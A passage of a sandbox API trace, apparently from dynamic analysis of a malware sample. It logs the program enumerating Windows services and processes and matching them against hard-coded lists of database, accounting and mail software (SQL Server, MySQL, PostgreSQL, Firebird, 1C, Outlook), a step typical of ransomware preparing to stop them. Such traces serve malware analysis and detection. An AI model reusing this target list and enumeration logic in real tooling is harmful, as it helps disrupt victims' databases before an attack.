Ptr=0x5a87f8, Size=0x80) returned 0x5ea8b0 [0168.009] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ea8b0, Size=0x100) returned 0x5ba8b0 [0168.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5dddc8 [0168.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x5ee848 [0168.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5ddd98 [0168.010] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee848, Size=0x8) returned 0x5ee878 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x5a64a8 [0168.010] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee878, Size=0x10) returned 0x5dddb0 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5a64c8 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a) returned 0x5a5e68 [0168.010] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5dddb0, Size=0x20) returned 0x5a5e90 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1c) returned 0x5a5eb8 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16) returned 0x5a64e8 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a) returned 0x5a5ee0 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5dddb0 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x5ee878 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a87f8 [0168.010] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee878, Size=0x8) returned 0x5ee848 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3c) returned 0x5a8840 [0168.010] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ee848, Size=0x10) returned 0x5ddd80 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x5a6508 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5a6528 [0168.010] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5ddd80, Size=0x20) returned 0x5a5f08 [0168.010] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x24) returned 0x5a95e8 [0168.010] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0168.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ba9b8 | out: hHeap=0x570000) returned 1 [0168.010] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0168.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ba8b0 | out: hHeap=0x570000) returned 1 [0168.010] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5a5fa8 [0168.011] EnumServicesStatusExW (in: hSCManager=0x5a5fa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0) returned 0 [0168.011] GetLastError () returned 0xea [0168.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e4) returned 0x5e1f78 [0168.011] EnumServicesStatusExW (in: hSCManager=0x5a5fa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e1f78, cbBufSize=0x11e4, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e1f78, pcbBytesNeeded=0x1e8ff44, lpServicesReturned=0x1e8ff5c, lpResumeHandle=0x0) returned 1 [0168.012] CloseServiceHandle (hSCObject=0x5a5fa8) returned 1 [0168.012] lstrlenW (lpString="Appinfo") returned 7 [0168.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.012] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.013] lstrlenW (lpString="AudioSrv") returned 8 [0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0168.013] lstrlenW (lpString="BFE") returned 3 [0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.013] lstrlenW (lpString="CryptSvc") returned 8 [0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.013] lstrlenW (lpString="CscService") returned 10 [0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0168.013] lstrlenW (lpString="DcomLaunch") returned 10 [0168.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.013] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.013] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.013] lstrlenW (lpString="Dhcp") returned 4 [0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.014] lstrlenW (lpString="Dnscache") returned 8 [0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.014] lstrlenW (lpString="DPS") returned 3 [0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.014] lstrlenW (lpString="eventlog") returned 8 [0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0168.014] lstrlenW (lpString="EventSystem") returned 11 [0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.014] lstrlenW (lpString="gpsvc") returned 5 [0168.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.014] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.014] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.014] lstrlenW (lpString="iphlpsvc") returned 8 [0168.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.015] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.015] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.015] lstrlenW (lpString="LanmanServer") returned 12 [0168.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.015] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.015] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.015] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.015] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.015] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.015] lstrlenW (lpString="lmhosts") returned 7 [0168.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.015] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.015] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.015] lstrlenW (lpString="MMCSS") returned 5 [0168.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0168.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0168.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0168.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0168.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0168.015] lstrlenW (lpString="MpsSvc") returned 6 [0168.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.015] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.015] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.015] lstrlenW (lpString="Netman") returned 6 [0168.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0168.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0168.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0168.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0168.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0168.016] lstrlenW (lpString="netprofm") returned 8 [0168.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.016] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.016] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.016] lstrlenW (lpString="NlaSvc") returned 6 [0168.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.016] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.016] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.016] lstrlenW (lpString="nsi") returned 3 [0168.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.016] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.016] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.016] lstrlenW (lpString="PcaSvc") returned 6 [0168.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.016] lstrlenW (lpString="PlugPlay") returned 8 [0168.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.017] lstrlenW (lpString="Power") returned 5 [0168.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.017] lstrlenW (lpString="ProfSvc") returned 7 [0168.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.017] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.017] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.017] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.017] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.017] lstrlenW (lpString="RpcSs") returned 5 [0168.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.017] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.017] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.017] lstrlenW (lpString="SamSs") returned 5 [0168.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.017] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.017] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0168.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0168.017] lstrlenW (lpString="Schedule") returned 8 [0168.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0168.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0168.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0168.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0168.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0168.018] lstrlenW (lpString="SENS") returned 4 [0168.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0168.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0168.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0168.018] lstrlenW (lpString="ShellHWDetection") returned 16 [0168.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0168.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0168.018] lstrlenW (lpString="Spooler") returned 7 [0168.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0168.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0168.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0168.018] lstrlenW (lpString="SysMain") returned 7 [0168.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0168.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0168.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0168.018] lstrlenW (lpString="Themes") returned 6 [0168.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0168.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0168.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0168.018] lstrlenW (lpString="TrkWks") returned 6 [0168.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0168.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0168.018] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0168.018] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0168.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0168.018] lstrlenW (lpString="UxSms") returned 5 [0168.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0168.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0168.019] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0168.019] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0168.019] lstrlenW (lpString="WdiServiceHost") returned 14 [0168.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0168.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0168.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0168.019] lstrlenW (lpString="WdiSystemHost") returned 13 [0168.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0168.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0168.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0168.019] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0168.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0168.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0168.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0168.019] lstrlenW (lpString="Winmgmt") returned 7 [0168.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0168.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0168.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0168.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0168.019] lstrlenW (lpString="WPDBusEnum") returned 10 [0168.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0168.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0168.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0168.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0168.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e1f78 | out: hHeap=0x570000) returned 1 [0168.020] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0168.022] Process32FirstW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.022] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0168.022] lstrlenW (lpString="System") returned 6 [0168.023] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0168.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0168.023] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0168.023] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0168.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0168.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0168.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0168.023] Process32NextW (in: hSnapshot=0x118, lppe=0x1e8fd34 | out: lppe=0x1e8fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0168.023] lstrlenW (lpString="smss.exe") returned 8 [0168.023] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0168.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0168.023] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0168.023] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0168.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0168.023] lstrcmpiW 